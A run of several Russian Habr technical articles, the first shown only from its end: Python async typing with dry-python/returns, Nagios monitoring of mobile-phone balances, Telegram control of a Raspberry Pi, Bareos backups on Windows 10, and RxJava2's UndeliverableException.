async_and_sync.py:33: error: Argument 1 to "map" of "FutureResult" has incompatible type "Callable[[Response], bytes]"; expected "Callable[[Response], int]"
async_and_sync.py:33: error: Incompatible return value type (got "bytes", expected "int")
```
Ловкость рук и никакой магии: чтобы написать асинхронный код с правильными абстракциями, нужна только старая добрая композиция. А вот то, что у нас получается один и тот же API для разных типов, — по-настоящему здорово. Например, это позволяет абстрагироваться от того, как работают HTTP-запросы: синхронно или асинхронно.
Надеюсь, этот пример наглядно доказал, какими на самом деле классными могут быть асинхронные программы. А если попробуете [dry-python/returns](https://github.com/dry-python/returns), то найдете еще много интересного. В новой версии мы уже сделали необходимые примитивы для работы с Higher Kinded Types и все необходимые интерфейсы. Код выше теперь можно переписать так:
```
from typing import Callable, TypeVar
import anyio
import httpx
from returns.future import future_safe
from returns.interfaces.specific.ioresult import IOResultLike2
from returns.io import impure_safe
from returns.primitives.hkt import Kind2, kinded
_IOKind = TypeVar('_IOKind', bound=IOResultLike2)
@kinded
def fetch_resource_size(
client_get: Callable[[str], Kind2[_IOKind, httpx.Response, Exception]],
url: str,
) -> Kind2[_IOKind, int, Exception]:
return client_get(url).map(
lambda response: len(response.content),
)
# Sync:
print(fetch_resource_size(
impure_safe(httpx.get),
'https://sobolevn.me',
))
# => >
# Async:
page\_size = fetch\_resource\_size(
future\_safe(httpx.AsyncClient().get),
'https://sobolevn.me',
)
print(page\_size)
print(anyio.run(page\_size.awaitable))
# => >
# => >
```
Смотрите ветку `master`, там это уже работает.
Больше возможностей dry-python
------------------------------
Расскажу о нескольких других полезных фичах dry-python, которыми я больше всего горжусь.
* **Типизированные функции** [`partial` и `@curry`](https://returns.readthedocs.io/en/latest/pages/curry.html).
```
from returns.curry import curry, partial
def example(a: int, b: str) -> float:
...
reveal_type(partial(example, 1))
# note: Revealed type is 'def (b: builtins.str) -> builtins.float'
reveal_type(curry(example))
# note: Revealed type is 'Overload(def (a: builtins.int) -> def (b: builtins.str) -> builtins.float, def (a: builtins.int, b: builtins.str) -> builtins.float)'
```
Это позволяет использовать `@curry`, например, вот так:
```
@curry
def example(a: int, b: str) -> float:
return float(a + len(b))
assert example(1, 'abc') == 4.0
assert example(1)('abc') == 4.0
```
* [**Функциональные пайплайны**](https://returns.readthedocs.io/en/latest/pages/pipeline.html) **с выводом типов.**
За счёт кастомного mypy-плагина можно строить функциональные пайплайны, возвращающие типы.
```
from returns.pipeline import flow
assert flow(
[1, 2, 3],
lambda collection: max(collection),
lambda max_number: -max_number,
) == -3
```
Обычно в типизированном коде очень неудобно работать с лямбдами, из-за того что их аргументы всегда типа `Any`. Вывод `mypy` решает эту проблему.
С его помощью нам теперь известно, что `lambda collection: max(collection)` типа `Callable[[List[int]], int]`, а `lambda max_number: -max_number` просто `Callable[[int], int]`. Во `flow` можно передать любое количество аргументов, и все они будут отлично работать. Всё благодаря плагину.
* [`RequiresContextFutureResult`](https://returns.readthedocs.io/en/latest/pages/context.html#requirescontextfutureresult-container) **для** [**типизированной инъекции функциональных зависимостей**](https://sobolevn.me/2020/02/typed-functional-dependency-injection).
Абстракцию над `FutureResult`, о которой мы говорили ранее, можно использовать для того, чтобы явно передать зависимости в асинхронные программы в функциональном стиле.
Планы на будущее
----------------
Прежде чем наконец-то выпустить версию 1.0, нам предстоит решить несколько важных задач:
* Реализовать Higher Kinded Types или их эмуляцию ([issue](https://github.com/dry-python/returns/issues/408)).
* Добавить надлежащие type-классы, чтобы реализовать необходимые абстракции ([issue](https://github.com/dry-python/classes)).
* Возможно, попробовать компилятор `mypyc`, что потенциально позволит компилировать типизированные аннотированные Python-программы в двоичный файл. Тогда код с `dry-python/returns` будет работать в несколько раз быстрее ([issue](https://github.com/dry-python/returns/issues/398)).
* Исследовать новые способы написания функционального кода на Python, например, такие как [«do-notation»](https://github.com/dry-python/returns/issues/392).
Выводы
------
С помощью композиции и абстракции можно решить любую проблему. В этой статье мы рассмотрели, как решить проблему цветов функций и писать простой, читаемый и гибкий код, который работает. И сделать проверку типов.
Пробуйте [dry-python/returns](https://github.com/dry-python/returns) и подключайтесь к [Russian Python Week](https://conf.python.ru/moscow/2020): на конференции core-разработчик dry-python Pablo Aguilar проведет [воркшоп](https://conf.python.ru/moscow/2020/abstracts/7006) по использованию dry-python для написания бизнес-логики. | https://habr.com/ru/post/512650/ | null | ru | null |
# Nagios мониторинг баланса мобильного телефона
#### Для чего это нужно
Когда в семье число мобильных телефонов становится более 3-х, назревает вопрос мониторинга баланса и оповещения, когда баланс приближается к критической отметке. Есть много средств для мониторинга баланса, но зачем городить огород, когда под рукой есть незаменимый Nagios (так получилось что и дома у меня есть свой мониторинговый сервер, его основная задача наблюдать за состоянием серверов организаций которые я администрирую в нерабочее время). Данное решение также подойдет для мониторинга баланса корпоративного лицевого счета.
#### Небольшое отступление
Осуществлять мониторинг, будем посредством http/https запросов к серверам операторов мобильной связи. Для этого нам понадобится php с подключенной библиотекой curl. Для мониторинга будет использоваться Nagios, а для построения графиков Mrtg. В данной версии, реализована работа с двумя операторами мобильной связи, МТС и Билайн. Как ни странно с Билайном оказалось меньше всего проблем: делаем запрос на авторизацию, затем делаем запрос баланса, затем парсим HTML вывод. С МТС-ом оказалось интересней, для каждого региона они используют свое доменное имя «Интернет помощника», что добавляет пару незапланированных действий в алгоритм. Проблема решилась вычислением региона по префиксу номера телефона, в этом помог Интернет ресурс [МТТ](http://www.mtt.ru/info/def/index.wbp), который предоставляет доступ к базе данных префиксов операторов связи. После получения региона, мы получаем доменное имя «Интернет помощника» путем разбора [java-скрипта](http://static.mts.ru/upload/images/design/js/mts.regions.ru.js) с сайта МТС, затем авторизация и парсинг HTML-вывода. Сюда также можно прикрутить Мегафон, но пока не до него.
#### Итак, от теории к практике
Я не буду заострять внимание на настройке Nagios, я думаю, у обитателей хабра с этим не возникнет проблем, и перейду, так сказать, к самому вкусному. Качаем последнюю версию скриптов [отсюда](http://www.it2k.ru/projects/mobile-balance-api/files/), распаковываем. получаем 3 файла, mobile-api.php, nagios-check-mobile-balance.php, mrtg-mobile-balance.php. Из названия понятны назначения файлов, плагин к Nagios, скрипт к MRTG и файл с функциями для получения баланса (я постарался как можно подробней его раскомментировать).
#### Копируем файлы по местам и назначаем права
```
cp ./mobile-balance-api.php /usr/local/lib/
cp ./nagios-check-mobile-balance.php /usr/lib/nagios/plugins/check_mobile_balance.php
cp ./mrtg-check-mobile-balance.php /usr/lib/mrtg2/check_mobile_balance.php
chmod +x /usr/lib/nagios/plugins/check_mobile_balance.php
chmod +x /usr/lib/mrtg2/check_mobile_balance.php
```
#### Проверяем работоспособность
Для начала, необходимо исправить константы в /usr/local/lib/mobile-balance-api.php
```
DEFINE("CACHE_PATH", "/var/cache/balance"); # Директория для сохранения данных
DEFINE("COOKIE_FILE_NAME", CACHE_PATH . "/cookie.txt"); # Имя файла для хранения cookie
DEFINE("OPERATOR_AUTO_DETECT", True); # Автоматическое определение оператора
DEFINE("AUTO_SAVE_DATA", True); # Сохранять ли данные после автоматического определения оператора
DEFINE("BAD_ATTEMPTS_COUNT", 3); # Количество неудачных попыток, актуально для МТС
```
Затем необходимо исправить путь в константе «MOBILE\_API», в файле /usr/lib/nagios/plugins/check\_mobile\_balance.php
```
DEFINE("MOBILE_API", "/usr/local/lib/mobile-balance-api.php");
```
Если у Вас ещё нет пароля для доступа к «Интернет помощнику», то делаем следующие:
* Для пользователей МТС: со своего мобильного телефона (или в программе МТС-Коннект) наберите:\*111\*25# или позвоните по номеру 111 5 (при нахождении в домашней сети) и следуйте инструкции автоинформатора.
* Для пользователей Билайна: позвоните со своего телефона на бесплатный номер \*110\*9# и получите SMS с паролем к системе.
Тестовый запуск скрипта
```
/usr/lib/nagios/plugins/check_mobile_balance.php -w 20 -c 10 -n 9128141111 -p 123456
```
Ответ
`BALANCE OK- +79128141111 = 55 rub`
Если неверный пароль, или хост МТС-а is down (такое очень часто бывает, с Билайном лучше) скрипт вернет 0-й баланс.
#### Настраиваем Nagios
Правим файл /etc/nagios/objects/commands.cfg, добавляем новую команду «check\_mobile\_balance»
`define command{
command_name check_mobile_balance
command_line $USER1$/check_mobile_balance.php -w 30 -c 10 -n $ARG1$ -p $ARG2$
}`
-w 30 — это порог warning/предупреждение в рублях
-c 10 — это порог critical/критично в рублях
Затем правим /etc/nagios/objects/localhost.cfg добавляем проверки
`define service{
use local-service
host_name localhost
service_description Balance +79128141111
check_command check_mobile_balance!9128141111!123456
}`
Где 9128141111 — номер телефона, 123456 — пароль к мобильному помощнику.
Затем перечитываем настройки Nagios: `service nagios reload` и идем в веб-интерфейс наслаждаться результатом:
[](https://habrastorage.org/storage/habraeffect/94/7d/947dd93cacff4ab09a2c0a570505a9e3.png "Хабрэффект.ру")
#### Графики
Для вывода графиков я предпочитаю использовать MRTG. Это легкое, простое в настройках приложение. Подразумеваем, что MRTG у Вас установлен, настроен и работает. Проверяем константу «MOBILE\_API», в файле /usr/lib/nagios/plugins/check\_mobile\_balance.php. Правим /etc/mrtg/mrtg.cfg добавляем следующие строки:
`Target[mb]: `/usr/lib/mrtg2/check_mobile_balance.php 9128141111 123456`
MaxBytes[mb]: 500
MaxBytes2[mb]: 75
Title[mb]: Mobile balance +79218141111
Options[mb]: unknaszero,gauge,growright,nopercent,transparent,noborder,pngdate,noinfo
AbsMax[mb]: 500
YLegend[mb]: Rub
ShortLegend[mb]: R
Legend1[mb]: Rub
Legend2[mb]: Rub
LegendI[mb]: Rub
LegendO[mb]: Rub
PageTop[mb]: Mobile balance +79218141111`
Тестируем, env
```
LANG=C mrtg /etc/mrtg/mrtg.cfg --logging /var/log/mrtg.log > /dev/null 2>&1
```
Смотрим, что получилось.
[](https://habrastorage.org/storage/habraeffect/fd/cb/fdcb99747b55716e77481c7405f829fd.png "Хабрэффект.ру")
Листинги скриптов приводить думаю смысла нет, ибо много строк. На всякий случай продублирую ссылку на них, [здесь](http://www.it2k.ru/projects/mobile-balance-api/files/).
#### Итого
На самом деле скрипт является универсальным решением, и им можно мониторить не только баланс мобильного телефона, но и например рейтинг на rutracker или карму на Хабре.
#### Мониторинг кармы на Хабре
Для мониторинга кармы на Хабре, необходимо явно прописать пользователя «habrahabr.carma.yozhiks» (пользователь [yozhiks](https://habrahabr.ru/users/yozhiks/) выбран не случайно, дабы воздать должное за инвайт) в переменной $manual\_detect в файле /usr/local/lib/mobile-balance-api.php например:
```
$manual_detect = array (
"9128141111" => array("url" => "https://ihelper.ural.mts.ru/SelfCarePda/Security.mvc/LogOn", "operator" => "mts"),
"9061971111" => array("url" => "https://uslugi.beeline.ru/loginPage.do|https://uslugi.beeline.ru/vip/prepaid/refreshedPrepaidBalance.jsp", "operator" => "beeline"),
"habrahabr.carma.yozhiks" => array("url" => "http://yozhiks.habrahabr.ru", "operator" => "habrahabr.carma")
);
```
и добавить оператора «habrahabr.carma» в переменную $operators:
```
$operators = array(
"mts" => array("name" => 'ОАО "Мобильные Телесистемы"', "result" => "
Баланс: ****|** руб.< /strong>"),
"beeline" => array("name" => 'ОАО "Вымпел-Коммуникации"', "result" => ' |& nbsp;'),
"habrahabr.carma" => array("name" => 'Хабрахабр карма', "result" => '< span class="mark">|')
); |**
```
проверяем:
```
/usr/lib/nagios/plugins/nagios-check-mobile-balance.php -w 30 -c 10 -n habrahabr.carma.yozhiks -p 1
```
Ответ: `BALANCE OK- +7habrahabr.carma.yozhiks = 58 rub`
Конечно для такого мониторинга необходимо немного изменить скрипт, но в целом получилось неплохо.
Спасибо за внимание.
P.S. Сегодня при тестировании скрипта, были выявлены проблемы с сайтом МТТ. Проблем можно избежать ручной записью настроек номера, в переменную $manual\_detect по шаблону.
P.P.S Nano MRTG HowTo для Windows
Качаем:
`windows.php.net/download - php 5.3.5
www.activestate.com/store/activeperl/download - perl 5.12.3
oss.oetiker.ch/mrtg/pub - mrtg 2.17`
Устанавливаем/Распаковываем:
`perl в c:\perl
mrtg в c:\mrtg
php5 в c:\php
mobile-balance-api.php и mrtg-check-mobile-balance.php в c:\mrtg\bin\`
Включаем вывод ошибок в php.ini `display_errors = On` и `error_reporting = E_ALL & ~E_NOTICE` на всякий пожарный.
Правим константы:
mobile-balance-api.php
DEFINE(«CACHE\_PATH», «c:\Tmp»);
mrtg-check-mobile-balance.php
DEFINE(«MOBILE\_API», «c:\mrtg\bin\mobile-balance-api.php»);
Проверяем:
`c:\php\php c:\mrtg\bin\mrtg-check-mobile-balance.php 9128141111 123456`
Если есть ошибки, смотрим разбираемся.
Настраиваем MRTG:
`mkdir c:\mrtg\www`
Редактируем/создаем c:\mrtg\mrtg.cfg
`EnableIPv6: no
WorkDir: c:\mrtg\www
Target[mb]: `c:\php\php c:\mrtg\bin\mrtg-check-mobile-balance.php 9128141111 123456`
MaxBytes[mb]: 500
MaxBytes2[mb]: 75
Title[mb]: Mobile balance +79218141111
Options[mb]: unknaszero,gauge,growright,nopercent,transparent,noborder,pngdate,noinfo
AbsMax[mb]: 500
YLegend[mb]: Rub
ShortLegend[mb]: R
Legend1[mb]: Rub
Legend2[mb]: Rub
LegendI[mb]: Rub
LegendO[mb]: Rub
PageTop[mb]: Mobile balance +79218141111`
Проверяем:
`c:\perl\bin\perl c:\mrtg\bin\mrtg c:\mrtg\bin\mrtg.cfg`
В директории c:\mrtg\www должны появится файлы mb\*.png и mb.html. Команду `c:\perl\bin\perl c:\mrtg\bin\mrtg c:\mrtg\bin\mrtg.cfg` в «Планировщик задач». Все.
P.P.P.S График моей кармы и рейтинга на MRTG. Синяя — рейтинг, зеленая — карма.
 | https://habr.com/ru/post/113878/ | null | ru | null |
# Raspberry и Telegram: предпосылки создания умного дома
Один итальянский магазинчик нащупал новые способы использования Телеграма (и ранее WhatsApp'а), установив его на одноплатный миниатюрный компьютер Raspberry Pi. Как выясняется, мессенджер можно использовать для удалённого общения с собственной техникой. Ниже – перевод статей ([1](http://www.instructables.com/id/Telegram-on-Raspberry-Pi/), [2](http://www.instructables.com/id/Raspberry-remote-control-with-Telegram)) с сайта Instructables.com. Если есть уточнения по переводу, напишите об этом в комментариях.
**I. Telegram на Raspberry Pi**
**Шаг первый: инсталляция**
Понадобится: Raspberry Pi B or B+, с последней версией Raspbian, или карта MIcroSD на 8Гб класса 10 с той же предустановленной Raspbian.
Сначала обновите пакеты программ:
```
sudo apt-get update
```
```
sudo apt-get upgrade
```
Установите библиотеки: readline или libedit, openssl и (если вы хотите использовать конфигурацию) libconfig и liblua. Если вам удобнее без них, проставьте --disable-libconfig и --disable-liblua соответственно.
```
sudo apt-get install libreadline-dev libconfig-dev libssl-dev lua5.2 liblua5.2-dev libevent-dev make
```
Клонируйте архив GitHub
```
git clone --recursive https://github.com/vysheng/tg.git && cd tg
```
```
./configure
```
```
make
```
Выполнение этой команды займёт некоторое время, после чего установка будет завершена.
Upd: запустите мессенджер и настройте аккаунт, введя номер телефона и(ли) ник. [См.](http://habrahabr.ru/post/249265/#comment_8256953)
**Шаг второй: автоматическая отправка сообщений**
Чтобы автоматически отправить сообщение, создайте файл
```
sudo nano /home/pi/tg.sh
```
с таким содержимым:
```
#!/bin/bash
to=$1
msg=$2
tgpath=/home/pi/tg
cd ${tgpath}
(echo "msg $to $msg"; echo "safe_quit") | ${tgpath}/bin/telegram-cli -k tg-server.pub -W
```
Сохраните и закройте его, дав разрешение на действия:
```
sudo chmod -R 0655 /home/pi/tg.sh
```
Протестируйте его с помощью
```
/home/pi/tg.sh Name_lastname "your message"
```
Чтобы отправить фото, создайте файл
```
sudo nano /home/pi/tg_photo.sh
```
и впишите в него
```
#!/bin/bash
to=$1
msg=$2
tgpath=/home/pi/tg
cd ${tgpath}
(echo "send_photo $to $msg"; echo "safe_quit") | ${tgpath}/bin/telegram-cli -k tg-server.pub -W
```
Сохраните и закройте его, дав разрешения:
```
sudo chmod -R 0655 /home/pi/tg_photo.sh
```
и протестируйте с помощью
```
/home/pi/tg_photo.sh Name_Lastname /folder/photo.png
```
**II. Дистанционное управление Raspberry Pi через Telegram**
Телеграм – весьма разносторонний мессенджер для отправки мгновенных сообщений, в котором можно работать, используя один телефонный номер, одновременно на нескольких устройствах.
В предыдущем обзоре мы увидели, как его установить, как отправлять текст и медиафайлы. Мы также убедились, что в Raspberry можно настроить автоматическую отправку сообщений через Telegram.
На этот раз мы попросим Raspberry выполнить конкретное действие как функцию полученного сообщения: например, мы могли бы послать слово «photo», чтобы Raspberry прислал нам фотографию дома, или «lamp», чтобы он повернул лампу, или «open», чтобы открыть дверь гаража. Начнём.
**Шаг первый: инсталляция**
Начинаем на основе описанных выше действий. Чтобы перехватить новое входящее сообщение, мы создаём файл action.lua (я опускаю описание языка Lua со [ссылкой](http://www.lua.org) на официальный сайт, так как хабраюзеры с ним, [очевидно](http://habrahabr.ru/hub/Lua/), знакомы. *— Прим. пер.*):
```
sudo nano /home/pi/tg/action.lua
```
со следующим содержимым:
```
function on_msg_receive (msg)
if msg.out then
return
end
if (msg.text=='ping') then
send_msg (msg.from.print_name, 'pong', ok_cb, false)
end
end
function on_our_id (id)
end
function on_secret_chat_created (peer)
end
function on_user_update (user)
end
function on_chat_update (user)
end
function on_get_difference_end ()
end
function on_binlog_replay_end ()
end
```
Сохраните и закройте файл. Теперь, когда входящее сообщение – «ping», Телеграм отвечает сообщением «pong».
Перейдите в tg
```
cd /home/pi/tg
```
и напишите:
```
bin/telegram-cli -k tg-server.pub -W -s action.lua
```
Попробуйте отправить сообщение. Если всё верно, Телеграм отвечает только на «ping» (не на «PING»), и мы должны увидеть что-то вроде этого:
Окей, давайте попробуем что-то более занятное.
Установите камеру Raspberry (см. [этот](http://www.emmeshop.eu/blog/?q=node/42) туториал) и создайте новую папку, куда по умолчанию будут сохраняться фотографии с этой камеры.
```
sudo mkdir /home/pi/camera
```
Создайте новый файл «camera.ch»
```
sudo nano /home/pi/camera/camera.sh
```
вот с этой начинкой
```
#!/bin/bash
raspistill -w 800 -h 600 -o /home/pi/camera/photo.jpg
```
Сохраните и закройте его, дав разрешение на действия
```
sudo chmod -R 0655 /home/pi/camera/camera.sh
```
Отредактируйте «action.lua»
```
sudo nano /home/pi/tg/action.lua
```
и добавьте эти строки в функцию on\_msg\_receive:
```
if (msg.text=='photo') then
os.execute('/home/pi/camera/camera.sh')
send_photo (msg.from.print_name, '/home/pi/camera/photo.jpg', ok_cb, false)
end
```
**Шаг второй: тест**
```
bin/telegram-cli -k tg-server.pub -W -s action.lua
```
Теперь, если вы пошлёте сообщением слово «photo», Raspberry ответит фотографией.
Чтобы задать дополнительные команды, просто измените файл «action.lua», добавив новый блок «if». Например, можно активировать выключатель или запросить статус сигнализации. | https://habr.com/ru/post/249265/ | null | ru | null |
# Настройка резервного копирования на внешний HDD, используя Bareos, для Windows 10
Лирическое вступление
---------------------
До недавнего беспокойного времени для создания резервных копий критичных данных я использовал стандартное средство операционной системы Windows 10 - "История файлов" ("File history"). Периодически данные со стационарного ПК сохранялись на внешний HDD, подключаемый через USB интерфейс, что меня вполне устраивало и успокаивало мою психику.
Одним субботним утром меня озадачил вопрос: "А смогу ли я восстановить свои данные на другой системе?" В качестве испытуемого был выбран ноутбук с системой Windows 10. После ~~большой~~ небольшой пляски с бубном данные были восстановлены, но неприятным сюрпризом стало то, что при сравнении количества папок и файлов было обнаружено расхождение. Данный факт меня опечалил и побудил подойти к вопросу организации резервного копирования данных более ответственно. После непродолжительного поиска в сети Internet мой выбор пал на Open Source систему Bareos. Процесс настройки системы не был для меня простым и интуитивным, было затрачено значительное количество времени. Память человеческая имеет прекрасную способность забывать информацию, что побудило меня составить "шпаргалку" на будущее, коей спешу с Вами поделиться.
Описание задачи
---------------
На стационарном ПК с ОС Windows 10 x64 на локальном диске DATA (D:) расположен каталог проекта "test". Необходимо организовать резервное копирование всех файлов вышеуказанного проекта на внешний HDD - BACKUP (E:), за исключением подкаталогов "target".
Разработка проекта ведётся в будние дни, поэтому копирование производить в автоматическом режиме по графику:
* [полное](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B7%D0%B5%D1%80%D0%B2%D0%BD%D0%BE%D0%B5_%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5#%D0%9F%D0%BE%D0%BB%D0%BD%D0%BE%D0%B5_%D1%80%D0%B5%D0%B7%D0%B5%D1%80%D0%B2%D0%BD%D0%BE%D0%B5_%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(Full_backup)) - по пятницам в 18:30;
* [инкрементальное](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B7%D0%B5%D1%80%D0%B2%D0%BD%D0%BE%D0%B5_%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5#%D0%98%D0%BD%D0%BA%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D0%B5_%D1%80%D0%B5%D0%B7%D0%B5%D1%80%D0%B2%D0%BD%D0%BE%D0%B5_%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_(Incremental_backup)) - с понедельника по четверг в 18:30.
На компьютере на локальном диске C: установлена система Bareos версии 19.2.7 x64. Установка произведена "по умолчанию" (со всем соглашаемся и нажимаем "далее"), тип установки "Full SQLite":
Выполним нижеперечисленные действия по порядку.
Куда?
-----
Создадим ресурс "Устройство" ("Device") и опишем его в файле C:\ProgramData\Bareos\bareos-sd.d\device\RemoteStorage.conf:
```
Device {
# имя устройства, обязательное
Name = RemoteDevice
# тип данных, обязательное
Media Type = File
# где хранить тома, обязательное
Archive Device = E:/
# тома устройства именуются автоматически
LabelMedia = yes;
# поддерживает произвольный доступ
Random Access = yes;
# сканируется на наличие томов
AutomaticMount = yes;
# может ли быть отсоединено
RemovableMedia = yes;
}
```
Создадим ресурс "Хранилище" ("Storage"), соответствующий ресурсу Device, и опишем его в файле C:\ProgramData\Bareos\bareos-dir.d\storage\Remote.conf:
```
Storage {
# имя устройства, обязательное
Name = Remote
# имя или IP адрес, обязательное
Address = localhost
# пароль для доступа к Storage-сервису, обязательное
# ВЗЯТЬ ОТСЮДА C:\ProgramData\Bareos\bareos-sd.d\director\bareos-dir.conf
Password = "TFso/Fr6YDeuei/QYtg2bDLaS9dDkMgRvSPefKr88FnR"
# имя соответствующего ресурса Device, обязательное
Device = RemoteDevice
# тип данных, должен совпадать с типом данных соответствующего Device, обязательное
Media Type = File
}
```
Создадим ресурс "Пул" ("Pool") для полного копирования и опишем его в файле C:\ProgramData\Bareos\bareos-dir.d\pool\TestFull.conf:
```
Pool {
# имя пула, обязательное
Name = TestFull
# повторное использование устаревших томов
Recycle = yes
# усечение устаревших томов
AutoPrune = yes
# срок хранения данных в томах
Volume Retention = 365 days
# предельный размер тома
Maximum Volume Bytes = 50G
# предельное количество томов
Maximum Volumes = 100
# формат имени для томов "TestFull-"
Label Format = "TestFull-"
}
```
Создадим ресурс "Пул" ("Pool") для инкрементального копирования и опишем его в файле C:\ProgramData\Bareos\bareos-dir.d\pool\TestIncr.conf:
```
Pool {
# имя пула, обязательное
Name = TestIncr
# повторное использование устаревших томов
Recycle = yes
# усечение устаревших томов
AutoPrune = yes
# срок хранения данных в томах
Volume Retention = 30 days
# предельный размер тома
Maximum Volume Bytes = 1G
# предельное количество томов
Maximum Volumes = 100
# формат имени для томов "TestIncr-"
Label Format = "TestIncr-"
}
```
Что?
----
Создадим ресурс "Набор файлов" ("FileSet") и опишем его в файле C:\ProgramData\Bareos\bareos-dir.d\fileset\TestFileSet.conf:
```
FileSet {
# имя набора файлов, обязательное
Name = "TestFileSet"
# что будем копировать
Include {
Options {
Signature = MD5 # хеширование, применяемое для файлов
WildDir = "*target" # шаблон для исключения каталога
Exclude = yes # исключить файлы по шаблону
}
File = "D:/test" # каталог, подлежащий копированию
}
}
```
Когда?
------
Создадим ресурс "Расписание" ("Schedule") и опишем его в файле C:\ProgramData\Bareos\bareos-dir.d\schedule\TestSchedule.conf:
```
Schedule {
# имя расписания, обязательное
Name = "TestSchedule"
# тип копирования, используемый пул и время запуска
Run = Level=Full Pool=TestFull fri at 18:30
# тип копирования, используемый пул и время запуска
Run = Level=Incremental Pool=TestIncr mon-thu at 18:30
}
```
Кто? Как?
---------
Создадим ресурс "Задание" ("Job") и опишем его в файле C:\ProgramData\Bareos\bareos-dir.d\job\backupTest.conf:
```
Job {
# имя задания, обязательное
Name = "backupTest"
# имя используемой File-службы
Client = "bareos-fd"
# набор файлов
FileSet = "TestFileSet"
# имя используемого Message-ресурса, обязательное
Messages = "Standard"
# пул, обязательное
Pool = "TestFull"
# расписание
Schedule = "TestSchedule"
# устройство
Storage = "Remote"
# тип, обязательное
Type = "Backup"
# где хранить файл начальной загрузки
Write Bootstrap = "E:/%c.bsr"
}
```
Активация задания копирования
-----------------------------
Перезапустим службы Bareos, чтобы применить внесённые нами изменения:
* Bareos Storage Service ("Bareos-sd");
* Bareos Director Service ("Bareos-dir").
После этого наше задание "backupTest" активировано, проверим это. Зайдём в панель управления Bareos по адресу http://127.0.0.1:9100/ (логин: admin, пароль: admin). Перейдём в раздел "Расписание" ("Schedules") на вкладку "Статус планировщика" ("Status schedules") и убедимся, что наше задание присутствует в расписании.
Запуск копирования вручную
--------------------------
Перейдем в раздел "Задания" ("Jobs") на вкладку "Запуск" ("Run"). В поле "Задание" ("Job") выберем наше задание "backupTest". В поле "Уровень" ("Level") выберем значение "Full" и запустим задание, нажав "Submit".
При этом будет выполнено **полное** копирование. Для выполнения **инкрементального** копирования выберите в поле "Уровень" ("Level") значение "Incremental", в поле "Пул" ("Pool") - "TestIncr".
Ход выполнения любых заданий можно контролировать в разделе "Панель" ("Dashboard"):
Запуск восстановления данных
----------------------------
Перейдем в раздел "Восстановление" ("Restore") на вкладку "Восстановить на клиент" ("Restore multiple files"). В поле "Клиент" ("Client") выберем значение "bareos-fd". В поле "Задания резервного копирования " ("Backup jobs") выберем желаемую точку восстановления. В поле "Объединить все наборы файлов клиента" ("Merge all clients filesets") выберем значение "Нет" ("No"). В поле "Папка восстановления на клиенте" ("Restore location on client") укажем куда восстановить данные ("D:/test\_restore") и запустим восстановление, нажав "Restore".
 | https://habr.com/ru/post/549762/ | null | ru | null |
# Стандартный Error Handler в RxJava2 или почему RxJava вызывает сбой приложения даже если реализован onError
В переводе статьи пойдёт речь об `UndeliverableException` в `RxJava2` версии `2.0.6` и новее. Если кто-то столкнулся и не может разобраться, или совсем не слышал об этой проблеме — прошу под кат. Побудили к переводу проблемы в `production` после перехода с `RxJava1` на `RxJava2`. Оригинал был написан 28 декабря 2017, но лучше узнать поздно, чем никогда.
Все мы хорошие разработчики и ловим ошибки в `onError`, когда используем `RxJava`. Это значит что мы обезопасили себя от падений приложения, верно?
*Нет, не верно.*
Ниже мы рассмотрим пару примеров в которых приложение будет падать из-за `RxJava`, даже если корректно реализован `onError`.
### Базовый обработчик ошибок в `RxJava`
В роли базового обработчика ошибок в `RxJava` используется `RxJavaPlugins.onError`. Он обрабатывает все ошибки, которые не удается доставить до подписчика. По умолчанию, все ошибки отправляются именно в него, поэтому могут возникать критические сбои приложения.
[`В примечаниях к релизу 2.0.6`](https://github.com/ReactiveX/RxJava/blob/2.x/CHANGES.md#version-206---february-15-2017-maven) данное поведение описано:
> Одна из целей дизайна 2.х — отсутсвие потерянных ошибок. Иногда последовательность кончается или отменяется до того, как источник вызывает `onError`. В данном случае ошибке деться некуда и она направляется в `RxJavaPlugins.onError`
>
>
Если у RxJava нет базового обработчика ошибок — подобные ошибки будут скрыты от нас и разработчики будут находится в неведении относительно потенциальных проблем в коде.
Начиная с версии `2.0.6`, `RxJavaPlugins.onError` пытается быть умнее и разделяет ошибки библиотеки/реализации и ситуации когда ошибку доставить невозможно. Ошибки, отнесенные к категории «багов» вызываются как есть, остальные же оборачиваются в `UndeliverableException` и после вызываются. Всю эту логику можно посмотеть [здесь](https://github.com/ReactiveX/RxJava/blob/2.x/src/main/java/io/reactivex/plugins/RxJavaPlugins.java) (методы `onError` и `isBug`).
Одна из основных ошибок, с которыми сталкиваются новички в `RxJava` — `OnErrorNotImplementedException`. Эта ошибка возникает, если `observable` вызывает ошибку, а в подписчике не реализован метод `onError`. Данная ошибка — пример ошибки, которая для базового обработчика ошибок `RxJava` является «багом» и не оборачивается в `UndeliverableException`.
### UndeliverableException
Поскольку ошибки относящиеся к «багам» легко исправить — не будем на них останавливаться. Ошибки, которые `RxJava` оборачивает в `UndeliverableException`, интереснее, так как не всегда может быть очевидно почему же ошибка не может быть доставлена до `onError`.
Случаи, в которых это может произойти, зависят от того, что конкретно делают источники и подписчики. Примеры рассмотрим ниже, но в общем можно сказать, что такая ошибка возникает, если нет активного подписчика, которому может быть доставлена ошибка.
### Пример с zipWith()
Первый вариант, в котором можно вызвать `UndeliverableException` — оператор `zipWith`.
```
val observable1 = Observable.error(Exception())
val observable2 = Observable.error(Exception())
val zipper = BiFunction { one, two -> "$one - $two" }
observable1.zipWith(observable2, zipper)
.subscribe(
{ System.out.println(it) },
{ it.printStackTrace() }
)
```
Мы объединяем вместе два источника, каждый из которых вызывает ошибку. Чего мы ожидаем? Можем предположить, что `onError` будет вызван дважды, но это противоречит [спецификации](https://github.com/reactive-streams/reactive-streams-jvm/blob/v1.0.1/README.md#specification) `Reactive streams`.
> После единственного вызова терминального события (`onError`, `onCompelete`) требуется, чтобы никаких вызовов больше не осуществлялось
>
>
Получается, что при единственном вызове `onError` повторный вызов уже невозможен. Что произойдёт при возникновении в источнике второй ошибки? Она будет доставлена в `RxJavaPlugins.onError`.
